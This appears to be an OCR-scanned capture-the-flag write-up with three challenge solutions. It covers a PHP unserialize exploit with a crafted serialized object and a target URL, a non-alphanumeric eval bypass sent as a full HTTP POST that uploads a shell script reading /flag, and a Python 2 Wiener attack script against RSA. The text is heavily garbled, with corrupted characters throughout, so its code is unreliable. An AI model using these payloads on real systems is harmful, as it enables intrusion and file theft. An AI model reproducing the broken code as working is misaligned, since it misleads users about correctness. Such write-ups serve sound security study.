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<?php

class logger{
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public $logFile;

public $initMsg;

public $exitMsg;

function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = $file;

readfile($this->logFile);

function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");

fclose($fd);

function __destruct(){

echo "this is destruct";

}

class weblog {



public $weblogfile;

function __construct() {

$flag="system('cat /flag')";

echo "$flag";

}

function __wakeup(){
// self::waf($this->filepath);
$obj = new logger($this->weblogfile);

}

public function waf($str){
$str=preg_replace("/[<>*#'|2\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;

}

function __destruct(){

echo "this is destruct";

}

$log = $_GETTlog1;

$log = preg_replace("/[<>*#|?\n }/",", $log);
$log = str_replace('flag',",$log);

$log_unser = unserialize($log);

?7>

<html>

<body>

WERHE LB 14Z R XAFHR T .

</body>



</html>
RFEFINE, XRZEANERE, WEKRFFIL:
<?php

class weblog {

public $weblogfile;

function __construct() {
$flag="system('cat /flag')";
echo "$flag";

}

function __wakeup(){
// self::waf($this->filepath);
$obj = new logger($this->weblogfile);

}

public function waf($str){
$str=preg_replace("/[<>*#'|2\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;

}

function __destruct(){

echo "this is destruct”;

1}

$a=new weblog();
$a->weblogfile="/flflagag"

print(serialize($a)) 17 M 3k f8flag: http://119.3.128.126:32800/?log=0:6:"weblog":1:
{s:10:"weblodfile";s:5:"/flflagag";}
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<?php
error_reporting(0);

if(lisset($_GET['code’])X


http://119.3.128.126:32800/?log=O:6

highlight_file(_ FILE_ );

lelse{

$code = $_GET['code'];

if(preg_match("/[A-Za-z0-9_3$@]+/",%code)){
die('fighting!');

}

eval($code);
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payload:

POST /index.php?code=?><7?="+/?2?/??2??2?2??[?-[];?> HTTP/1.1

Host: 122.112.214.101:20004

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;.q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;g=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary= 1541379805177270217137618464

Content-Length: 237
Connection: close
Upgrade-Insecure-Requests: 1

1541379805177270217137618464

Content-Disposition: form-data; name="image"; filename="1.txt"
Content-Type: text/plain

#! /bin/sh

cat /flag

1541379805177270217137618464--
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#!/usr/bin/env python2

import gmpy?2



import time
def continuedFra(x, y):
cF =[]
while y:
cF += [x / y]

X, Yy =Y, X%y

return cF

def Simplify(ctnf):

numerator = 0
denominator = 1
for x in ctnf[::-1]:
numerator, denominator = denominator, x * denominator + numerator

return (numerator, denominator)

def calculateFrac(x, y):

cF = continuedFra(x, y)

cF = map(Simplify, (cF[@:i] for i in xrange(1, len(cF))))

return cF

def solve_pq(a, b, c):

par = gmpy2.isqrt(b * b - 4 * a * ¢)

return (-b + par) / (2 * a), (-b - par) / (2 * a)

def wienerAttack(e, n):



for (d, k) in calculateFrac(e, n):
if k == @: continue
if (e *d - 1) % k != 0: continue
phi = (e *d - 1) / k
p, q = solve_pq(l, n - phi + 1, n)
if p * q ==n:
return abs(int(p)), abs(int(q))

print 'not find!'

time.clock()

c=58703794202217708947284241025731347400180247075968200121227051434588274043273799724484

< | T | [

e=11939386184596076204889868351148779931785157994844825213746696158162735292125377115101

4 | 1 | 3

n=14319713536387376376527131388948283206549521447698824405660293931609655860407298760578

< | T | [

p, q = wienerAttack(e, n)

print [+]Found!'

print " [-]p =',p

print " [-]g ='.q

print ' [-]Jn =',p*q

d = gmpy2.invert(e,(p-1)*(g-1))

print'[-]d =, d

print ' [-]mis:' + '{:x}'.format(pow(c,d,n)).decode('hex’)
print \n[!]Timer:', round(time.clock(),2), 's'
print T'JAIl Done!
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